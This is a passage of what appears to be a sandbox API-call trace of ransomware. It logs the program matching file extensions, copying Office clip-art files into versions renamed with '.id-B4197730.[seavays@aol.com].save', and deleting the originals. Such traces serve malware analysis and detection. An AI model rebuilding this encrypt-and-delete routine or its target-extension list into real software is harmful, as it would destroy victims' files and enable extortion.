lstrlenW (lpString=".zip") returned 4 [0172.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.558] lstrlenW (lpString=".rar") returned 4 [0172.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString=".bz2") returned 4 [0172.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString=".7z") returned 3 [0172.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.558] lstrlenW (lpString=".dbf") returned 4 [0172.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.558] lstrlenW (lpString=".1cd") returned 4 [0172.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.558] lstrlenW (lpString=".jpg") returned 4 [0172.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.559] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.559] lstrlenW (lpString="J0107188.WMF") returned 12 [0172.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.560] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4536) returned 1 [0172.560] CloseHandle (hObject=0x520) returned 1 [0172.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0172.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.561] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.561] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0172.561] GetLastError () returned 0x0 [0172.561] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x11b8, lpOverlapped=0x0) returned 1 [0172.563] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x11c0, lpOverlapped=0x0) returned 1 [0172.564] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.564] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.564] SetEndOfFile (hFile=0x524) returned 1 [0172.564] CloseHandle (hObject=0x524) returned 1 [0172.564] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.565] SetEndOfFile (hFile=0x520) returned 1 [0172.569] CloseHandle (hObject=0x520) returned 1 [0172.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.570] lstrlenW (lpString=".doc") returned 4 [0172.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.570] lstrlenW (lpString=".docx") returned 5 [0172.570] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.570] lstrlenW (lpString=".pdf") returned 4 [0172.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.570] lstrlenW (lpString=".xls") returned 4 [0172.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.570] lstrlenW (lpString=".xlsx") returned 5 [0172.570] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.570] lstrlenW (lpString=".ppt") returned 4 [0172.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.570] lstrlenW (lpString=".zip") returned 4 [0172.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.570] lstrlenW (lpString=".rar") returned 4 [0172.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.570] lstrlenW (lpString=".bz2") returned 4 [0172.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.570] lstrlenW (lpString=".7z") returned 3 [0172.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.571] lstrlenW (lpString=".dbf") returned 4 [0172.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.571] lstrlenW (lpString=".1cd") returned 4 [0172.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.571] lstrlenW (lpString=".jpg") returned 4 [0172.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.571] lstrlenW (lpString=".doc") returned 4 [0172.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.571] lstrlenW (lpString=".docx") returned 5 [0172.571] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.571] lstrlenW (lpString=".pdf") returned 4 [0172.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.572] lstrlenW (lpString=".xls") returned 4 [0172.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.572] lstrlenW (lpString=".xlsx") returned 5 [0172.572] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.572] lstrlenW (lpString=".ppt") returned 4 [0172.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.572] lstrlenW (lpString=".zip") returned 4 [0172.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.572] lstrlenW (lpString=".rar") returned 4 [0172.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.572] lstrlenW (lpString=".bz2") returned 4 [0172.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.572] lstrlenW (lpString=".7z") returned 3 [0172.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.572] lstrlenW (lpString=".dbf") returned 4 [0172.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.572] lstrlenW (lpString=".1cd") returned 4 [0172.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0172.572] lstrlenW (lpString=".jpg") returned 4 [0172.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.573] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.573] lstrlenW (lpString="J0107192.WMF") returned 12 [0172.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.574] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9968) returned 1 [0172.574] CloseHandle (hObject=0x520) returned 1 [0172.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0172.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.574] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.574] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0172.575] GetLastError () returned 0x0 [0172.575] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x26f0, lpOverlapped=0x0) returned 1 [0172.577] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2700, lpOverlapped=0x0) returned 1 [0172.578] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.578] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.578] SetEndOfFile (hFile=0x524) returned 1 [0172.578] CloseHandle (hObject=0x524) returned 1 [0172.578] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.578] SetEndOfFile (hFile=0x520) returned 1 [0172.581] CloseHandle (hObject=0x520) returned 1 [0172.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0172.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.801] lstrlenW (lpString=".doc") returned 4 [0172.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.801] lstrlenW (lpString=".docx") returned 5 [0172.801] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.801] lstrlenW (lpString=".pdf") returned 4 [0172.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString=".xls") returned 4 [0172.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.802] lstrlenW (lpString=".xlsx") returned 5 [0172.802] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.802] lstrlenW (lpString=".ppt") returned 4 [0172.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.802] lstrlenW (lpString=".zip") returned 4 [0172.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.802] lstrlenW (lpString=".rar") returned 4 [0172.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString=".bz2") returned 4 [0172.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString=".7z") returned 3 [0172.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.802] lstrlenW (lpString=".dbf") returned 4 [0172.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.802] lstrlenW (lpString=".1cd") returned 4 [0172.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.802] lstrlenW (lpString=".jpg") returned 4 [0172.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.803] lstrlenW (lpString=".doc") returned 4 [0172.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.803] lstrlenW (lpString=".docx") returned 5 [0172.803] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.803] lstrlenW (lpString=".pdf") returned 4 [0172.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.803] lstrlenW (lpString=".xls") returned 4 [0172.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.803] lstrlenW (lpString=".xlsx") returned 5 [0172.803] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.803] lstrlenW (lpString=".ppt") returned 4 [0172.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.803] lstrlenW (lpString=".zip") returned 4 [0172.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.803] lstrlenW (lpString=".rar") returned 4 [0172.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.803] lstrlenW (lpString=".bz2") returned 4 [0172.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.803] lstrlenW (lpString=".7z") returned 3 [0172.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.803] lstrlenW (lpString=".dbf") returned 4 [0172.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.803] lstrlenW (lpString=".1cd") returned 4 [0172.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0172.804] lstrlenW (lpString=".jpg") returned 4 [0172.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.804] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.804] lstrlenW (lpString="J0107262.WMF") returned 12 [0172.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.805] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=7996) returned 1 [0172.805] CloseHandle (hObject=0x520) returned 1 [0172.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0172.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.806] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.806] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0172.807] GetLastError () returned 0x0 [0172.807] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0172.809] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1f40, lpOverlapped=0x0) returned 1 [0172.810] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.810] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.810] SetEndOfFile (hFile=0x524) returned 1 [0172.811] CloseHandle (hObject=0x524) returned 1 [0172.811] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.811] SetEndOfFile (hFile=0x520) returned 1 [0172.819] CloseHandle (hObject=0x520) returned 1 [0172.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0172.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.821] lstrlenW (lpString=".doc") returned 4 [0172.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.821] lstrlenW (lpString=".docx") returned 5 [0172.821] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.821] lstrlenW (lpString=".pdf") returned 4 [0172.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.821] lstrlenW (lpString=".xls") returned 4 [0172.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.821] lstrlenW (lpString=".xlsx") returned 5 [0172.821] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.821] lstrlenW (lpString=".ppt") returned 4 [0172.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.821] lstrlenW (lpString=".zip") returned 4 [0172.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.822] lstrlenW (lpString=".rar") returned 4 [0172.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString=".bz2") returned 4 [0172.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString=".7z") returned 3 [0172.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.822] lstrlenW (lpString=".dbf") returned 4 [0172.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.822] lstrlenW (lpString=".1cd") returned 4 [0172.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.822] lstrlenW (lpString=".jpg") returned 4 [0172.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.822] lstrlenW (lpString=".doc") returned 4 [0172.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString=".docx") returned 5 [0172.822] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.822] lstrlenW (lpString=".pdf") returned 4 [0172.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.822] lstrlenW (lpString=".xls") returned 4 [0172.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.822] lstrlenW (lpString=".xlsx") returned 5 [0172.823] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.823] lstrlenW (lpString=".ppt") returned 4 [0172.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.823] lstrlenW (lpString=".zip") returned 4 [0172.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.823] lstrlenW (lpString=".rar") returned 4 [0172.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.823] lstrlenW (lpString=".bz2") returned 4 [0172.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.823] lstrlenW (lpString=".7z") returned 3 [0172.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.823] lstrlenW (lpString=".dbf") returned 4 [0172.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.823] lstrlenW (lpString="C:\\Program Files\\Microsoft 